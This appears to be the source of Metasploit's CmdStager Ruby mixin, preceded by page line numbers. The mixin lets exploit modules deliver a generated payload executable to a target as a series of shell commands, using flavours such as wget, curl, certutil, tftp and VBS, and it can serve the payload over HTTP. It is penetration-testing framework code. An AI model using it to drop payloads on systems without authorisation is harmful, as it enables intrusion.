/
cmdstager.rb
341 lines (293 loc) · 11.2 KB
/
cmdstager.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
# -*- coding: binary -*-
require 'rex/exploitation/cmdstager'
require 'msf/core/exploit/cmdstager/http'
module Msf
# This mixin provides an interface to generating cmdstagers
module Exploit::CmdStager
include Msf::Exploit::EXE
include Msf::Exploit::CmdStager::Http
# Constant for stagers - used when creating an stager instance.
STAGERS = {
:bourne => Rex::Exploitation::CmdStagerBourne,
:debug_asm => Rex::Exploitation::CmdStagerDebugAsm,
:debug_write => Rex::Exploitation::CmdStagerDebugWrite,
:echo => Rex::Exploitation::CmdStagerEcho,
:printf => Rex::Exploitation::CmdStagerPrintf,
:vbs => Rex::Exploitation::CmdStagerVBS,
:vbs_adodb => Rex::Exploitation::CmdStagerVBS,
:certutil => Rex::Exploitation::CmdStagerCertutil,
:tftp => Rex::Exploitation::CmdStagerTFTP,
:wget => Rex::Exploitation::CmdStagerWget,
:curl => Rex::Exploitation::CmdStagerCurl,
:fetch => Rex::Exploitation::CmdStagerFetch
}
# Constant for decoders - used when checking the default flavor decoder.
DECODERS = {
:debug_asm => File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "debug_asm"),
:debug_write => File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "debug_write"),
:vbs => File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "vbs_b64"),
:vbs_adodb => File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "vbs_b64_adodb")
}
attr_accessor :stager_instance
attr_accessor :cmd_list
attr_accessor :flavor
attr_accessor :decoder
attr_accessor :exe
# Creates an instance of an exploit that uses an CMD Stager and register the
# datastore options provided by the mixin.
#
# @param info [Hash] Hash containing information to initialize the exploit.
# @return [Msf::Module::Exploit] the exploit module.
def initialize(info = {})
super
flavors = module_flavors
flavors = STAGERS.keys if flavors.empty?
flavors.unshift('auto')
register_advanced_options(
[
OptEnum.new('CMDSTAGER::FLAVOR', [false, 'The CMD Stager to use.', 'auto', flavors]),
OptString.new('CMDSTAGER::DECODER', [false, 'The decoder stub to use.']),
OptBool.new('CMDSTAGER::SSL', [false, 'Use SSL/TLS for supported stagers', false])
], self.class)
end
# Executes the command stager while showing the progress. This method should
# be called from exploits using this mixin.
#
# @param opts [Hash] Hash containing configuration options. Also allow to
# send opts to the Rex::Exploitation::CmdStagerBase constructor.
# @option opts :flavor [Symbol] The CMD Stager to use.
# @option opts :decoder [Symbol] The decoder stub to use.
# @option opts :delay [Float] Delay between command executions.
# @return [void]
def execute_cmdstager(opts = {})
self.cmd_list = generate_cmdstager(opts)
stager_instance.setup(self)
begin
execute_cmdstager_begin(opts)
sent = 0
total_bytes = 0
cmd_list.each { |cmd| total_bytes += cmd.length }
delay = opts[:delay]
delay ||= 0.25
cmd_list.each do |cmd|
execute_command(cmd, opts)
sent += cmd.length
# In cases where a server has multiple threads, we want to be sure that
# commands we execute happen in the correct (serial) order.
::IO.select(nil, nil, nil, delay)
progress(total_bytes, sent)
end
execute_cmdstager_end(opts)
ensure
stager_instance.teardown(self)
end
end
# Generates a cmd stub based on the current target's architecture
# and platform.
#
# @param opts [Hash] Hash containing configuration options. Also allow to
# send opts to the Rex::Exploitation::CmdStagerBase constructor.
# @option opts :flavor [Symbol] The CMD Stager to use.
# @option opts :decoder [Symbol] The decoder stub to use.
# @param pl [String] String containing the payload to execute
# @return [Array] The list of commands to execute
# @raise [ArgumentError] raised if the exe or cmd stub cannot be generated
def generate_cmdstager(opts = {}, pl = nil)
select_cmdstager(opts)
exe_opts = {code: pl}.merge(
platform: target_platform,
arch: target_arch
)
self.exe = generate_payload_exe(exe_opts)
if exe.nil?
raise ArgumentError, 'The executable could not be generated'
end
self.stager_instance = create_stager
if stager_instance.respond_to?(:http?) && stager_instance.http?
opts[:ssl] = datastore['CMDSTAGER::SSL'] unless opts.key?(:ssl)
opts[:payload_uri] = start_service(opts)
end
cmd_list = stager_instance.generate(opts_with_decoder(opts))
if cmd_list.nil? || cmd_list.length.zero?
raise ArgumentError, 'The command stager could not be generated'
end
vprint_status("Generated command stager: #{cmd_list.inspect}")
cmd_list
end
# Show the progress of the upload while cmd staging
#
# @param total [Float] The total number of bytes to send.
# @param sent [Float] The number of bytes sent.
# @return [void]
def progress(total, sent)
done = (sent.to_f / total.to_f) * 100
percent = "%3.2f%%" % done.to_f
print_status("Command Stager progress - %7s done (%d/%d bytes)" % [percent, sent, total])
end
# Selects the correct cmd stager and decoder stub to use
#
# @param opts [Hash] Hash containing the options to select the correct cmd
# stager and decoder.
# @option opts :flavor [Symbol] The cmd stager to use.
# @option opts :decoder [Symbol] The decoder stub to use.
# @return [void]
# @raise [ArgumentError] raised if a cmd stager cannot be selected or it
# isn't compatible with the target platform.
def select_cmdstager(opts = {})
self.flavor = select_flavor(opts)
raise ArgumentError, "Unable to select CMD Stager" if flavor.nil?
raise ArgumentError, "The CMD Stager '#{flavor}' isn't compatible with the target" unless compatible_flavor?(flavor)
self.decoder = select_decoder(opts)
end
# Returns a hash with the :decoder option if possible
#
# @param opts [Hash] Input Hash.
# @return [Hash] Hash with the input data and a :decoder option when
# possible.
def opts_with_decoder(opts = {})
return opts if opts.include?(:decoder)
return opts.merge(:decoder => decoder) if decoder
opts
end
# Create an instance of the flavored stager.
#
# @return [Rex::Exploitation::CmdStagerBase] The cmd stager to use.
# @raise [NoMethodError] raised if the flavor doesn't exist.
def create_stager
STAGERS[flavor].new(exe)
end
# Returns the default decoder stub for the input flavor.
#
# @param f [Symbol] the input flavor.
# @return [Symbol] the decoder.
# @return [nil] if there isn't a default decoder to use for the current
# cmd stager flavor.
def default_decoder(f)
DECODERS[f]
end
# Selects the correct cmd stager decoder to use based on three rules: (1) use
# the decoder provided in input options, (2) use the decoder provided by the
# user through datastore options, (3) select the default decoder for the
# current cmd stager flavor if available.
#
# @param opts [Hash] Hash containing the options to select the correct
# decoder.
# @option opts :decoder [String] The decoder stub to use.
# @return [String] The decoder.
# @return [nil] if a decoder cannot be selected.
def select_decoder(opts = {})
return opts[:decoder] if opts.include?(:decoder)
return datastore['CMDSTAGER::DECODER'] unless datastore['CMDSTAGER::DECODER'].blank?
default_decoder(flavor)
end
# Selects the correct cmd stager to use based on three rules: (1) use the
# flavor provided in options, (2) use the flavor provided by the user
# through datastore options, (3) guess the flavor using the target platform.
#
# @param opts [Hash] Hash containing the options to select the correct cmd
# stager
# @option opts :flavor [Symbol] The cmd stager flavor to use.
# @return [Symbol] The flavor to use.
# @return [nil] if a flavor cannot be selected.
def select_flavor(opts = {})
return opts[:flavor].to_sym if opts.include?(:flavor)
unless datastore['CMDSTAGER::FLAVOR'].blank? or datastore['CMDSTAGER::FLAVOR'] == 'auto'
return datastore['CMDSTAGER::FLAVOR'].to_sym
end
guess_flavor
end
# Guess the cmd stager flavor to use using information from the module,
# target or platform.
#
# @return [Symbol] The cmd stager flavor to use.
# @return [nil] if the cmd stager flavor cannot be guessed.
def guess_flavor
# First try to guess a compatible flavor based on the module & target information.
unless target_flavor.nil?
case target_flavor
when Array
return target_flavor[0].to_sym
when String
return target_flavor.to_sym
when Symbol
return target_flavor
end
end
# Second try to guess a compatible flavor based on the target platform.
return nil unless target_platform.names.length == 1
c_platform = target_platform.names.first
case c_platform
when /linux/i
:bourne
when /osx/i
:bourne
when /unix/i
:bourne
when /win/i
:vbs
else
nil
end
end
# Returns all the compatible stager flavors specified by the module and each
# of its targets.
#
# @return [Array] the list of all compatible cmd stager flavors.
def module_flavors
flavors = []
flavors += Array(module_info['CmdStagerFlavor']) if module_info['CmdStagerFlavor']
targets.each do |target|
flavors += Array(target.opts['CmdStagerFlavor']) if target.opts['CmdStagerFlavor']
end
flavors.uniq!
flavors.map { |flavor| flavor.to_s }
end
# Returns the compatible stager flavors for the current target or module.
#
# @return [Array] the list of compatible cmd stager flavors.
# @return [Symbol] the compatible cmd stager flavor.
# @return [String] the compatible cmd stager flavor.
# @return [nil] if there isn't any compatible flavor defined.
def target_flavor
return target.opts['CmdStagerFlavor'] if target && target.opts['CmdStagerFlavor']
return module_info['CmdStagerFlavor'] if module_info['CmdStagerFlavor']
nil
end
# Answers if the input flavor is compatible with the current target or module.
#
# @param f [Symbol] The flavor to check
# @return [Boolean] true if compatible, false otherwise.
def compatible_flavor?(f)
return true if target_flavor.nil?
case target_flavor
when String
return true if target_flavor == f.to_s
when Array
target_flavor.each { |tr| return true if tr.to_sym == f }
when Symbol
return true if target_flavor == f
end
false
end
# Code to execute before the cmd stager stub. This method is designed to be
# overriden by a module this mixin.
#
# @param opts [Hash] Hash of configuration options.
def execute_cmdstager_begin(opts = {})
end
# Code to execute after the cmd stager stub. This method is designed to be
# overriden by a module this mixin.
#
# @param opts [Hash] Hash of configuration options.
def execute_cmdstager_end(opts = {})
end
# Code called to execute each command via an arbitrary module-defined vector.
# This method needs to be overriden by modules using this mixin.
#
# @param cmd [String] The command to execute.
# @param opts [Hash] Hash of configuration options.
def execute_command(cmd, opts = {})
raise NotImplementedError
end
end
end